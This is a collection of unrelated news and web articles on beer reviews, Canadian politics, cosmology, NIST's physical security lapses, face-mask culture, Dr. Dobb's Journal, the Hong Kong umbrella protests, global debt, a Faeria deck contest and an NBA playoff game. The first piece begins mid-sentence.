these guys really meant the liquid in the bottles to do. Easily the worst “IPA” I’ve ever had. Felt bad even subjecting the drain to it. G-LO says: IPA? But where are the hops? Bland and flavorless. The less said, the better.  ___________________________________________________________  So there you have it! Five very different beers from Trader Joe’s, and four out of five were highly disappointing. In case you think we’re being overly harsh, here are a couple more opinions…  Have you tried the beers from Trader Joe’s? Let us know in the comments below!
-A week ago, Edmonton-St. Albert MP Brent Rathgeber phoned the board of directors of his constituency association at their monthly meeting and announced his resignation from the Conservative caucus. One board member, Doug Elniski, resigned in support.  Then Rathgeber informed the Speaker, the Prime Minister’s Office, the chief government whip, and finally, he posted a tweet to the world. He acted by the book. More important, he acted: his resignation was an event, an unpredictable interruption of routine procedures. Accidents are unpredictable too. Rathgeber’s resignation was no accident, but the result of that internal deliberation we usually call thinking. Moreover, because it was public and concerned matters of public policy, it was political in the fullest sense of the term. Public action means the actor bears responsibility for his deed, which gave an unusual gravity to Rathgeber’s words of explanation.  In the past few weeks, the Canadian government has used words in the opposite way, to veil and obscure rather than to reveal the meaning of their deeds. Nowhere is this more obvious than in the Nigel Wright/Mike Duffy affair. To date, no words at all have been uttered by anyone that make sense of why Wright cut a cheque to Duffy so he could repay taxpayers for claiming expenses improperly.  To put it another way, when Rathgeber resigned, he revealed who he was. He disclosed a unique and distinct personality, which is always risky. This is why even those who thought his action rash at least admitted he was brave. His supporters called upon others to emulate him. They thought his deed was glorious and Rathgeber a hero.  As with the Homeric meaning of hero, Rathgeber had a story to tell. Much of it he told over the past few months on his blog.  He is a lawyer, a Queen’s counsel who understands that by the law of the Constitution, his job is to represent his constituents in Parliament and the job of Parliament is to hold the government to account, especially over its stewardship of public resources. It is not his job to present the views of the executive to the people of Edmonton-St. Albert. Reformers used to call the latter process “becoming Ottawashed.”  The occasion for his resignation was the amendments made in committee by seven Conservative MPs (six of whom were from Ontario and so devoid of Reform party recollections) of his private member’s Bill C-461, The CBC and Public Sector Disclosure and Transparency Act. Had the bill become law, it would have made the salaries of senior mandarins and CBC operatives public. Now, it may be true that making salaries public does not necessarily reduce costs. But no one made that argument in committee. In fact, no one made any arguments, because months ago, the executive decided to raise the threshold for salary disclosure. No one said a word about that either.  Why the PMO is protecting disclosure of senior bureaucrats’ salaries, let alone refusing to widen access to information criteria for the CBC, is a mystery. That would be the same CBC that refused to answer an access to information request about the size of its vehicle fleet on the grounds of “journalistic integrity.”  Rathgeber knows he will suffer the consequences of his action. In response to a blog post last summer, “Of Orange Juice and Limos,” dealing with ministerial opulence, when the House reconvened in the fall, Rathgeber’s desk had been moved to the back row.  There are consequences for the government as well. Like a Rhinestone Cowboy, “there’s been a load of compromisin’ on the road to the Tory horizon.” And as Rathgeber said, “I can only compromise so much before I begin not to recognize myself.”  In the months to come, the rest of the country will ask whether the Conservative government, as Rathgeber said, had “morphed into what we once mocked,” namely a new incarnation of the principle-free, entitlement-obsessed Liberals of Chretien’s day. If the Tories are oblivious of compromise because they have lost principles to compromise on, then they owe Rathgeber a vote of thanks for providing a reminder of what they have lost.  Barry Cooper is a senior fellow at the Canadian Defence and Foreign Affairs Institute and a columnist with the Calgary Herald.  The editorial pages editor is Gordon Clark, who can be reached at gclark@theprovince.com. Letters to the editor can be sent to provletters@theprovince.com.
-NASA/ESA/CFHT/CXO/M. J. Jee/UC Davis/A. Mahdavi/San Fran. State Univ.  Astronomers have for the first time detected how the 600-kilometre-per-second motion of galactic clusters affects the cosmic microwave background. The results, which were posted online in March1 and are soon to appear in Physical Review Letters, confirm a 40-year-old prediction and provide a new way to investigate the evolution of large-scale structure in the Universe.  The cosmic microwave background (CMB) was created almost 14 billion years ago, shortly after the Big Bang, when the opaque plasma that filled the Universe cooled and became transparent, sending an afterglow of light in all directions. In 1970, the astrophysicists Rashid Sunyaev and Yakov Zel'dovich posited2 that as the CMB streamed through galactic clusters, its photons would scatter off electrons whizzing through regions of hot, ionized gas, and would gain a minor boost in energy. Within years, astronomers observed this thermal Sunyaev–Zel'dovich effect.  In 1972, Sunyaev and Zel'dovich predicted3 a much more subtle 'kinematic' Sunyaev–Zel'dovich effect (kSZ), in which the energies of CMB photons are altered by the motion, rather than the temperature, of galaxy clusters. A cluster moving away from an observer on Earth would decrease the CMB's temperature by roughly one-millionth of a degree, whereas a cluster moving towards the observer would increase it by a similar amount.  For decades, research teams attempted in vain to detect the kSZ. Even today, no telescope on the ground can measure the fine gradations in CMB temperature that would be produced by a single galactic cluster. But Arthur Kosowsky, an astronomer at the University of Pittsburgh in Pennsylvania, suggested that the solution was to look for the kSZ in aggregate, by examining a large sample of paired galaxy clusters.  Two by two  “Because of their gravitational interactions, these cluster pairs tend to move toward each other,” says David Spergel, an astrophysicist at Princeton University in New Jersey who has collaborated with Kosowsky. “That typically means that as they are drawn together, the more distant cluster in a pair will be moving toward you, making a CMB hotspot, while the closer cluster will be moving away, making a CMB coldspot. Averaging over thousands of cluster pairs, you can see the signal of the kSZ in this temperature difference.”  Between 2008 and 2010, a team of researchers using the Atacama Cosmology Telescope (ACT) in Chile mapped CMB temperature variations in a large swathe of the sky. To link the variations to cluster pairs, however, required a second data set, from the Baryon Oscillation Spectroscopic Survey (BOSS), part of the Sloan Digital Sky Survey-III at Apache Point Observatory in New Mexico.  BOSS observed the same region of sky in visible light, to create a three-dimensional map of more than 27,000 galaxies. Nick Hand, then a student of Spergel's and now an astronomy PhD student at the University of California, Berkeley, measured the kSZ by comparing the ACT data with the 7,500 most luminous galaxy clusters in the BOSS data set.  Neither the ACT nor BOSS was designed with the goal of detecting the kSZ, says Hand. “This collaboration was a consequence of the era of large data sets that astronomy is currently in.”  What's the matter?  Spergel says that the technique has not yet yielded any new insights, but “will scale up beautifully”. The growing sample of galaxies that have been spotted by surveys such as BOSS, paired with upgrades to microwave detectors on the ACT and the South Pole Telescope, another CMB observatory, will soon provide more numerous and precise kSZ measurements, he says. This will allow astronomers to improve their estimates of the velocities of distant galaxies — crucial to understanding the properties of dark energy and dark matter — and of the intergalactic distribution of matter, which will help them to investigate galactic formation and evolution.  Spergel thinks that the most likely long-term use of the technique will be in measuring the intergalactic distribution of the ordinary matter in the Universe.  “Of the ordinary matter we believe exists in and around galaxies,” he says, “we see about a third as stars and molecular gas clouds. Most of the remaining two-thirds is probably ionized in the space between galaxies, but we haven't had a good way to see it, and that means we don't really know the history of the typical atom. Does it fall into galaxies and then get blown out by supernovae explosions, or does it never really get incorporated in the galaxies and always sit at their outskirts? Is there a cycle? We can trace much of this using the kSZ, since the effect's strength depends on the distribution of electrons in a cluster's ionized gas.”
-Undercover agents breached the physical security of the National Institute of Standards and Technology 15 out of 15 times, House Science Committee Chairman Lamar Smith (R-Texas) said Wednesday during a hearing on the institute's cybersecurity.  The Government Accountability Office (GAO) ran the testing at the committee's urging and presented a full report, including videotapes of the test, to the committee before the hearing.  "Their findings are alarming and confirmed our worst fears," said Smith. "NIST is a sieve."  NIST, a division of the Commerce Department, conducts research on everything from voting machines to nuclear reactors to developing federal standards. It has campuses in both Maryland and Colorado.  ADVERTISEMENT  While the full report was not released to the public over security concerns, the public report mentions a variety of problems in the security policy at NIST. Those include poor training of security experts and scientists and a security strategy giving some responsibilities to the Commerce Department and other responsibilities to NIST.  While the bifurcated security structure is required by statute and can only be changed by Congress, the GAO report discusses poor integration between the two branches.  NIST and the Department of Commerce have accepted every recommendation given by the report.  The specifically tested security vulnerabilities are being withheld, but the committee is working to get the videos released.  The GAO deferred discussing whether its investigators had access to either computers that could be infected with malware or labs. But, a GAO representative noted, it would be reasonable to assume, given that NIST buildings largely exist to host laboratories and offices, that this would be the case.  The House Science Committee first took interest in NIST security in 2015, when a meth lab that was run by a former NIST security employee out of an unused lab exploded. In 2016 an intruder was found wandering through the NIST campus.
-This item has been corrected.  On the 7 train that connects Manhattan to the bustling ethnic enclave of Flushing, Queens, it’s becoming more and more common to see riders wearing surgical masks in public. It’s a phenomenon that’s long been a common in East Asian countries. And ever since the 2002 SARS outbreak and the 2006 bird flu panic, the practice has crossed over into immigrant Asian populations in the US. Now, with Ebola fears still on high, many immigrant Asians aren’t taking chances—despite the fact that the number of known US Ebola infections has now dropped to zero, and assertions by public health authorities that Ebola is almost certainly not airborne-transmissible.  The reality is that the woven-cloth surgical masks provide minimal protection from environmental viruses anyway. (Surgeons use them to protect patients from their mouth-borne germs, not the other way around.) But the masks’ actual prophylactic utility is, in a way, secondary to other reasons they’re being worn, which is why they’re likely to become more common in the future—even among non-Asians.  The custom of facemask-wearing began in Japan during the early years of the 20th century, when a massive pandemic of influenza killed between 20 and 40 million people around the world—more than died in World War I. There were outbreaks of the disease on every inhabited continent, including Asia (where it devastated India, leading to the deaths of a full 5% of the population). Covering the face with scarves, veils and masks became a prevalent (if ineffective) means of warding off the disease in many parts of the world, until the epidemic finally faded at the end of 1919.  Influenza victims crowd into an emergency hospital at Camp Funston, a subdivision of Fort Riley in Kansas, in 1918.  In Japan, a few years later, the Great Kanto Earthquake of 1923, triggered a massive inferno that consumed nearly 600,000 homes in the most populous part of the nation. After the quake, the sky was filled with smoke and ash for weeks, and air quality suffered for months afterward. Facemasks came out of storage and became a typical accessory on the streets of Tokyo and Yokohama. A second global flu epidemic in 1934 cemented Japan’s love affair with the facemask, which began to be worn with regularity during the winter months—primarily, given Japan’s obsession with social courtesy, by cough-and-cold victims seeking to avoid transmitting their germs to others, rather than healthy people looking to prevent the onset of illness.  Then, in the 1950s, Japan’s rapid post-World War II industrialization led to rampant air pollution and booming growth of the pollen-rich Japanese cedar, which flourished due to rising ambient levels of carbon dioxide. Mask-wearing went from seasonal affectation to year-round habit. Today, Japanese consumers buy $230 million in surgical masks a year, and neighboring countries facing chronic pollution issues—most notably China and Korea—have also adopted the practice.  Japanese consumers buy $230 million in surgical masks a year.  Of course, pollution is everywhere, as is airborne illness. So why has the mask-wearing trend primarily been limited to East Asian nations?  The underlying reason could be philosophical: All three countries have been broadly influenced by Taoism and the health precepts of Traditional Chinese Medicine, in which breath and breathing are seen as a central element in good health. “‘Qi’ is a central concept in Chinese cosmology—and thereby physiology—generally having to do with energy and vapor,” explains Michelle M. Ching, a board certified practitioner of acupuncture and herbal medicine based in Los Angeles. “Qi has numerous meanings in Chinese including ‘air’ [kong qi], ‘atmosphere’ [qi fen], ‘odor’ [qi wei], which is perhaps another reason masks are so necessary in China!, ‘strength’ [li qi] and ‘pathogen’ [xie qi]. When bodily qi is depleted, or its movement deranged, pain and disease develop. So breathing is critical in order to maintain good qi in the body.”  Meanwhile, the intake of “feng,” or noxious wind, is considered the most potent and common of TCM’s “Six External Causes” of disease. “Think about wind,” says Ching. “It can blow open doors, blow cool air off a body of water to the land surrounding it, or fire from one part of the forest to another. The door analogy relates to TCM’s understanding of how exposure to wind can weaken our body’s defenses.”(Perhaps as a permutation of these ideas, East Asia has numerous ancillary superstitions about air and wind, the most notable of which is a deathly fear of sleeping in rooms with running electric fans, a belief that has its epicenter in Korea, where “fan death” phobia remains rampant even today.)  The bottom line is that in East Asia, the predilection toward using face-coverings to prevent exposure to bad air is something that predates the germ theory of disease, and extends into the very foundations of East Asian culture. In recent years, however, mask-wearing has become rooted in new and increasingly postmodern rationales.  Reuters “The most beautiful mask” against SARS.  Studies have found that among many young Japanese, masks have evolved into social firewalls; perfectly healthy teens now wear them, along with audio headsets, to signal a lack of desire to communicate with those around them. This is particularly true for young women seeking to avoid harassment on public transit, who also appreciate the relative anonymity the masks provide.  Masks are even becoming an element of East Asian style: In Japan, surgical masks bearing chic designs or the images of cute licensed characters can be purchased in every corner drugstore, while last month at China Fashion Week, designer Yin Peng unveiled a line of “smog couture” clothese paired with a variety of masks, from Vader-esque ventilators to whole-head riot-gear rebreathers.  Reuters “Smog couture” in China.  Reuters “Smog couture” in Hong Kong.  So who knows? As pollution, climate change and pandemic illness become a routine aspect of our global reality, we may soon see facemask fashion go viral (excuse the pun) in Western countries as well.  Correction: A previous version of this story stated that 0.5% of the Indian population died during a 20th century flu pandemic.  This article is part of Quartz Ideas, our home for bold arguments and big thinkers.
-Dr. Dobb's Journal (DDJ) was a monthly magazine published in the United States by UBM Technology Group, part of UBM. It covered topics aimed at computer programmers. When launched in 1976, DDJ was the first regular periodical focused on microcomputer software, rather than hardware. In its last years of publication, it was distributed as a PDF monthly, although the principal delivery of Dr. Dobb's content was through the magazine's website. Publication ceased at the end of 2014, with the archived website continuing to be available online.  History [ edit ]  Origins [ edit ]  Bob Albrecht edited an eccentric newspaper about computer games programmed in the BASIC computer language, with the same name as the tiny nonprofit educational corporation that he had founded, People's Computer Company (PCC). Dennis Allison was a longtime computer consultant on the San Francisco Peninsula and sometime instructor at Stanford University.  In the first three quarterly issues of the PCC newspaper published in 1975, Albrecht had published articles written by Allison, describing how to design and implement a stripped-down version of an interpreter for the BASIC language, with limited features to be easier to implement. He called it Tiny BASIC. At the end of the final part, Allison asked computer hobbyists who implemented it to send their implementations to PCC, and they would circulate copies of any implementations to anyone who sent a self-addressed stamped envelope. Allison said, Let us stand on each others' shoulders; not each others' toes.  The journal was originally intended to be a three-issue xerographed publication. Titled dr. dobb's journal of Tiny BASIC Calisthenics & Orthodontia (with the subtitle Running Light Without Overbyte) it was created to distribute the implementations of Tiny BASIC. The original title was created by Eric Bakalinsky, who did occasional paste-up work for PCC. Dobb's was a contraction of Dennis and Bob. It was at a time when computer memory was very expensive, so compact coding was important. Microcomputer hobbyists needed to avoid using too many bytes of memory—avoiding overbyte.  After the first photocopies were mailed to those who had sent stamped addressed envelopes, PCC was flooded with requests that the publication become an ongoing periodical devoted to general microcomputer software.  PCC agreed, and hired Jim Warren as its first editor. He immediately changed the title to Dr. Dobb's Journal of Computer Calisthenics & Orthodontia prior to publishing the first issue in January 1976.  Early years [ edit ]  Jim Warren was DDJ's editor for only about a year and a half. While he went on to make a splash with his series of West Coast Computer Faires, subsequent DDJ editors[1] like Marlin Ouverson,[2][3] Hank Harrison, Michael Swaine and Jonathan Erickson appear to have focused on the journalistic and social aspects of the young but growing microcomputer industry. Eventually PCC, the non-profit corporation, sold DDJ to a commercial publisher.[1]  The newsletter's content was originally pure enthusiast material. Initial interest circled around the Tiny BASIC interpreter, but Warren broadened that to include a variety of other programming topics, as well as a strong consumer bias, especially needed in the chaotic early days of microcomputing. All of the content came from volunteer contributors, with Steve Wozniak as one of the better known of them. Other contributors included Jef Raskin, later credited as a leader in the Macintosh development; Hal Hardenberg, the originator of DTACK Grounded an early newsletter for Motorola 68000 based software and hardware; and Gary Kildall, who had created CP/M, the first disk operating system for microcomputers which was not married to proprietary hardware.  Computer program source code published during the early years include:  The March 1985 issue "10(3)" printed Richard Stallman's "GNU Manifesto" a call for participation in the then-new free software movement.  Discontinuation of printed edition [ edit ]  Dr. Dobb's Journal, December 2000 issue , December 2000 issue  In later years,[when?] the magazine received contributions from developers all over the world working in application development and embedded systems across most programming languages and platforms. The magazine's focus became more professional. Columnists included Michael Swaine, Allen Holub and Verity Stob, the pseudonymous British programmer.  The title was later shortened to Dr. Dobb's Journal, then changed to Dr. Dobb's Journal of Software Tools as it became more popular. The magazine later reverted to Dr. Dobb's Journal with the selling line, "The World of Software Development", with the abbreviation DDJ also used for the corresponding website. In January 2009 Jonathan Erickson, the editor-in-chief, announced the magazine would cease monthly print publication, become a section of InformationWeek called Dr Dobb's Report.,[4] a website and monthly digital PDF edition.  Later history [ edit ]  The primary Dr. Dobb's content streams at the end were the Dr. Dobb's website, Dr. Dobb's Journal (the monthly PDF magazine, which had different content from the website), and a weekly newsletter, Dr. Dobb's Update. In addition, Dr. Dobb's continued to run the Jolt Awards and, since 1995, the Dr. Dobb's Excellence in Programming Award. Regular bloggers include Scott Ambler, Walter Bright, Andrew Koenig, and Al Williams. Adrian Bridgwater edited the news section beginning in 2010.  End [ edit ]  On 16 December 2014, an article by editor-in-chief Andrew Binstock announced that Dr. Dobb's would cease publication of new articles at the end of 2014.[5][6][context?]  See also [ edit ]  References [ edit ]
-Despite violent clashes with police over the weekend, Hong Kong democracy protesters are standing firm, demanding full independence of Beijing's influence. (Reuters)  Any visitor to Hong Kong will tell you that umbrellas are already a fixture of life in the city, essential not only for keeping yourself dry during the rainy spring and summer but also providing much-needed shade from the sun. The "world's most expensive umbrella," made of American ox-hide and using antique German frame, was made there in Hong Kong in 1994, and single-use umbrellas can be bought from vending machines in subway stations, adding only further to the item's ubiquity.  Perhaps it makes sense, then, that when pro-democracy activists came out on the streets to joing the "Occupy Central" protests, many brought umbrellas with them. Many of these activists, driven to protest by what they saw as the inability of Hong Kong's leaders to stand up to Beijing, probably brought their umbrellas to provide shelter from the late September sun.  As the situation became volatile, however, the umbrellas served a second purpose: To protect their owners from pepper spray.  A protester protects himself with an umbrella, after police used pepper spray against activists attempting to break into the legislative building, during a demonstration in Hong Kong, early on Saturday, Sept. 27, 2014. (AP Photo/Vincent Yu)  Protesters used whatever they could get their hands on for protection: Some images even show people using plastic wrapping to cover themselves. The use of the umbrellas as protection was striking, however, and media outlets picked up on it, dubbing it the "Umbrella Revolution." A search of Twitter appears to show that the term has been around since at least last Friday:  Some protesters painted messages on top of their umbrellas, and artists began incorporating umbrellas into logos designed for Occupy Central. "I was inspired by seeing people defend themselves with domestic props," Hong Kong artist Kacey Wong told the BBC. "The contrast was so marked. On the one side there was police brutality and on the other side there were these poor umbrellas." According to the Associated Press, umbrellas are now being donated to replace those destroyed by the police.  Pro-democracy protesters gather outside the Hong Kong government headquarters, on the second day of the mass civil disobedience campaign Occupy Central, Central District, Hong Kong, China, 29 September 2014.EPA/ALEX HOFFORD  For outside observers, the umbrella is something easy to latch on to: An ordinary object used to fight against state security apparatus. It helped those far from Hong Kong understand a conflict driven by a wide variety of factors including Hong Kong's complicated colonial history and tradition of democratic protests.  For some, the images coming out of Hong Kong are reminiscent of those coming out of Beijing more than 25 years ago. Now "umbrella man" has been compared to "tank man," the unknown civilian who blocked the path of tanks during the Tiananmen Square crisis in 1989.  However, other observers may be reminded of something else: China's economic might. According to one widely cited statistic, some 70 percent of the world's umbrellas are produced in China.  Thousands remained on the streets in Hong Kong on Monday, protesting over Beijing's decision to reject calls for open nominations for the election of Hong Kong's chief executive in 2017. The protests escalated on Sunday, with riot police resorting to the use of tear gas. (The Washington Post)
-The global financial system has become dangerously unstable and faces an avalanche of bankruptcies that will test social and political stability, a leading monetary theorist has warned.  The global financial system has become dangerously unstable and faces an avalanche of bankruptcies that will test social and political stability, a leading monetary theorist has warned.  "The situation is worse than it was in 2007. Our macroeconomic ammunition to fight downturns is essentially all used up," said William White, the Swiss-based chairman of the OECD's review committee and former chief economist of the Bank for International Settlements (BIS). "Emerging markets were part of the solution after the Lehman crisis. Now they are part of the problem, too."  "Debts have continued to build up over the last eight years and they have reached such levels in every part of the world that they have become a potent cause for mischief," he said.  "It will become obvious in the next recession that many of these debts will never be serviced or repaid, and this will be uncomfortable for a lot of people who think they own assets that are worth something," he told The Telegraph in an exclusive interview on the eve of the World Economic Forum in Davos. "The only question is whether we are able to look reality in the eye and face what is coming in an orderly fashion, or whether it will be disorderly. Debt jubilees have been going on for 5,000 years, as far back as the Sumerians."  The next task awaiting the global authorities is how to manage debt write-offs - and therefore a massive reordering of winners and losers in society - without setting off a political storm.  Mr White said Europe's creditors are likely to face some of the biggest haircuts. European banks have already admitted to $1 trillion of non-performing loans: they are heavily exposed to emerging markets and are almost certainly rolling over further bad debts that have never been disclosed.  The European banking system may have to be recapitalized on a scale yet unimagined, and new "bail-in" rules mean that any deposit holder above the guarantee of €100,000 will have to help pay for it.  The warnings have special resonance since Mr White was one of the very few voices in the central banking fraternity who stated loudly and clearly between 2005 and 2008 that Western finance was riding for a fall, and that the global economy was susceptible to a violent crisis.  Mr White said stimulus from quantitative easing and zero rates by the big central banks after the Lehman crisis leaked out across east Asia and emerging markets, stoking credit bubbles and a surge in dollar borrowing that was hard to control in a world of free capital flows.  The result is that these countries have now been drawn into the morass as well. Combined public and private debt has surged to all-time highs to 185pc of GDP in emerging markets and to 265pc of GDP in the OECD club, both up by 35 percentage points since the top of the last credit cycle in 2007.  "Emerging markets were part of the solution after the Lehman crisis. Now they are part of the problem too," Mr White said.  Mr White, who also chief author of G30's recent report on the post-crisis future of central banking, said it is impossible know what the trigger will be for the next crisis since the global system has lost its anchor and is inherently prone to breakdown.  A Chinese devaluation clearly has the potential to metastasize. "Every major country is engaged in currency wars even though they insist that QE has nothing to do with competitive depreciation. They have all been playing the game except for China - so far - and it is a zero-sum game. China could really up the ante."  Mr White said QE and easy money policies by the US Federal Reserve and its peers have had the effect of bringing spending forward from the future in what is known as "inter-temporal smoothing". It becomes a toxic addiction over time and ultimately loses traction. In the end, the future catches up with you. "By definition, this means you cannot spend the money tomorrow," he said.  Federal Reserve  A reflex of "asymmetry" began when the Fed injected too much stimulus to prevent a purge after the 1987 crash. The authorities have since allowed each boom to run its course - thinking they could safely clean up later - while responding to each shock with alacrity. The BIS critique is that this has led to a perpetual easing bias, with interest rates falling ever further below their "Wicksellian natural rate" with each credit cycle.  "It was always dangerous to rely on central banks to sort out a solvency problem ... It is a recipe for disorder, and now we are hitting the limit."  The error was compounded in the 1990s when China and eastern Europe suddenly joined the global economy, flooding the world with cheap exports in a "positive supply shock". Falling prices of manufactured goods masked the rampant asset inflation that was building up. "Policy makers were seduced into inaction by a set of comforting beliefs, all of which we now see were false. They believed that if inflation was under control, all was well," he said.  In retrospect, central banks should have let the benign deflation of this (temporary) phase of globalisation run its course. By stoking debt bubbles, they have instead incubated what may prove to be a more malign variant, a classic 1930s-style "Fisherite" debt-deflation.  Mr White said the Fed is now in a horrible quandary as it tries to extract itself from QE and right the ship again. "It is a debt trap. Things are so bad that there is no right answer. If they raise rates it'll be nasty. If they don't raise rates, it just makes matters worse," he said.  There is no easy way out of this tangle. But Mr White said it would be a good start for governments to stop depending on central banks to do their dirty work. They should return to fiscal primacy - call it Keynesian, if you wish - and launch an investment blitz on infrastructure that pays for itself through higher growth.  "It was always dangerous to rely on central banks to sort out a solvency problem when all they can do is tackle liquidity problems. It is a recipe for disorder, and now we are hitting the limit," he said.  Telegraph.co.uk
-For the past two weeks you have been sharing your awesome ideas for the decks with us. Now the time has come to conclude which ideas are the best.  This time the task was to make use of ranged keyword — a mechanic that does not see much play on the ladder and competetive scene. We will start by analyzing the mechanic and then provide a few deck examples — our Metashaker finalists! Alright, let's begin!  Ranged — Keyword Analysis  The ability to attack enemies from afar without taking damage back is very strong. The game of Faeria focuses on board control, the player who places his creatures in the right position where he can attack enemy creatures has an advantage. This is why mobility tricks like Syland Horsemaster, Flash Wind and Sagami Grovecaller are valued so high by the players as well as creatures with jump and charge like Windstorm Charger and Triton Warrior.  But ranged might be very strong not only because ranged creatures have massive area they control but also because they don't take damage back whenever they attack from afar — like if you cast Safeguard every time you attack. Sounds too good, right? The mere presence of ranged creatures on the board forces your opponent to change his entire strategy including developing lands to respond to this threat.  However, the strong points end here. Since ranged is that useful, ranged creatures naturally are very weak. The 4 faeria 2/2 with ranged Hilltop Archer might be able to do some work only if he won't be removed immediately which can be done countless number of ways: Seifers Wrath, Soul Drain, Deepwood Stalker and many others. Other ranged creatures are not too much better, the only exceptions are Windstorm Archer and probably Yakkapult which requires 6 lands and is kinda slow. I have only mentioned removals from hand but there is a bigger problem. With their low stats ranged creatures are extremely vulnerable in close combat and once your opponent develops lands close to you and starts summoning his creatures there your archers may become useless.  To sum up, ranged creatures may be extremely effective in the right deck and hands but playing them involves very high risk. If you want to expand on this topic, I suggest you to read Aquablad's Oversky Card Spotlight — Ranged Creatures where he ranks his top 5 ranged creatures and attaches a deck list to each one.  Now we proceed to the contest results! There were so many different good decks this time that it was very hard to choose the top 3 — and here is what we have come up with. Meet the Metashaker #10 finalists!  Ranged Rush  The first deck is made by Reath. It's strategy is to play a ranged creature in front of your orb and start hitting the enemy orb as early as possible. Hilltop Archer, Siege Engine and Boulder Thrower all can be played on turn 2 (gain +1 faeria instead of building a land if necessary). Keep your archers alive with green buffs. As soon as your opponent develops lands close to you, you will be at a disadvantage. However, by the time he manages to do so he will most likely be at low health which enables you to finish him off with Flame Burst, Rebel Slinger and Siefers Wrath making up for the ranged creatures weakness.  For the 1st place Reath recieves 5000 gold. Congratulations!  GB Enchantment feat. Yakkapult  The second deck is made by GNU_Linux and it is a GB Enchantment deck with the addition of Yakkapult. GB Enchantment decks usually tend to play defensively summoning their healthy creatures in the back and threatening the opponent with a possibility of playing Gabrian Enchantment. With the addition of Yakkapult you can now start pressuring your opponent much sooner. Your opponent will struggle to break through your healthy creatures to kill your Yakkapults so you can easily launch yaks to the enemy orb. You can also use Elderwood Embrace with Gabrian Enchantment to buff your ranged creature to 9/9 for a two turn kill. Yakkapults perfectly fit in the deck being a great win condition for it whereas the rest of the deck fully supports the ranged creature covering its weaknesses.  For the 2nd place GNU_Linux recieves 2500 gold. Congratulations!  Yellow Rush  The last deck is made by Ramora and features Oradrim Sagittarius in Yellow Rush. The description of the card literally screams "I am made for Yellow Rush!" but making a deck with it right is not that simple. Haste creatures work really well together with the archer to gain most value out of its ability. Since you have a lot of small creatures that deal 1-2 damage to the orb including Sagittarius himself, Zealous Crusader is a great addition to the deck. Manta Rider is also a good choice because his stickiness to the board may help you trigger Sagittarius' ability and Khalims Prayer an extra time. Besides, its 3 desert requirement works well together with ranged creatures. Usually by the time you develop a 3rd desert you don't have any good spots for the land — 2 lands near the opponent orb might be enough. However, in this deck the 3rd desert is not wasted since you need one in front of your orb to summon your archers there (technically it's not the 3rd desert but 1st since you should probably open with the desert in front with this deck).  For the 3rd place Ramora recieves 1000 gold. Congratulations!  Honorable Mentions  Closing words  Thank you everyone for sharing your awesome ideas! While we are taking a small break make sure to take part in other contests: If Yaks Could Talk and Custom Card Creation Contest.  That's it for now. See you later! Check the news on the Hub or offical Faeria discord #tournaments channel if you don't want to miss next Metashaker!
-The Toronto Raptors have made a habit out of doing things the difficult way.  So when coach Dwane Casey met with the media after the Raptors' roller-coaster Game 6 victory over Milwaukee that sent them into the Eastern Conference semifinals and a showdown with the Cleveland Cavaliers, all he could do was shake his head.  "We knew it wasn't going to be easy, we made it hard on ourselves down the stretch," Casey said. "But I thought we showed a lot of resiliency down the stretch.  "To close out on the road is one of the hardest things to do in the NBA. I don't care who you are, what team you are, it's very difficult to do."  No quit from Bucks  DeMar DeRozan scored 32 points as the Raptors held on to beat the Bucks 92-89, but not before watching their 25-point lead obliterated amid a fierce, crowd-fuelled Milwaukee comeback. The Raptors clinched the best-of-seven series 4-2 to advance to the conference semis which begin Monday in Cleveland.  Kyle Lowry added 13 points, while Serge Ibaka had 11 boards but just seven points before fouling out for Toronto.  The Raptors, who had never won a playoff series in less than the maximum number of games, dominated for much of the night and led by as many as 25 points midway through the third quarter. But the Bucks responded with a 15-3 run to cut Toronto's lead to 74-61 heading into a nail-biting final frame.  The Bucks rode their momentum, while the Raptors coughed up one ball after another, and when Jason Terry drilled a three-pointer with 3:06 to play, it gave the Bucks their first lead since the first quarter. The roar in the BMO Harris Bradley Center was deafening.  Raptors keep calm  In the post-game locker-room, the Raptors talked about the ensuing huddle. DeRozan, Lowry and Cory Joseph preached calm to their teammates.  "Them talking, calming us down in the huddle being those leaders and just reassuring us we were fine," Patrick Patterson said. "There was enough time left on the clock. They made their run but we can easily make ours and that is exactly what happened."  Added Joseph: "It's human nature to get a little tense when things aren't going your way. And the whole building is against you on the road. It's human nature. You have to fight against that to calm yourself down and still play the game.  In a fourth quarter that saw Toronto score just five field goals, Patterson and Joseph responded with two of them — Patterson scored on a cutting dunk, then Joseph drilled a three, and Toronto was back up by three. DeRozan's driving dunk with 49 seconds to play gave Toronto a five-point cushion.  Terry gave the Bucks one last gasp, connecting on a three to make it just a two-point game with 16 seconds left. But DeRozan scored two free throws, then Patterson intercepted Tony Snell's inbounds pass to clinch the win, DeRozan spiking the ball victoriously.  Lowry was asked about the big baskets by Joseph and Patterson, and the point guard's trust in his teammates down the stretch.  "[DeRozan and I] talked about it in the locker-room, we both were completely calm," he said. "We knew they were going to make a run, we knew the situation. You've gotta stay calm.  "And for us, we wouldn't be here, we wouldn't do the things we do, without our teammates, simple as that. We are one team, one through 15. We've got a couple of guys in the D League right now, they won a championship (also Thursday night) — congratulations to those guys. We on the same team, same page, we're all in the same locker-room. We're all equal. Without them, we wouldn't be who we are."  Much needed breather  All the pre-game talk had been about closing this series in six games, both to avoid the Game 7 pressure the Raptors know way too well, and give themselves a breather before tipping off against the resting Cavaliers in Cleveland.  Toronto lost to Indiana and Miami last year in Game 6 before rallying to win Game 7. Three years ago, the Raptors dropped Game 6 against Brooklyn before being beaten by the Nets in Game 7.  "We talked about it, how beneficial it would be, how important tonight is. But again, if Milwaukee will co-operate that would be great," Casey had joked pre-game.  Milwaukee wasn't in the mood for co-operating, particularly Giannis Antetokounmpo, who played all but 81 seconds, scoring 34 points and nine rebounds. Thon Maker, who played high school basketball in Orangeville, Ont., had five blocks.  "Both teams played their heart out there in that second half," said Bucks coach Jason Kidd.  The Raptors shot 46 per cent on the night, and made nine of their 22 three-point attempts. The Bucks shot 42 per cent.  The second-seeded Cavaliers, meanwhile, have been off since sweeping No. 7 Indiana on Sunday.
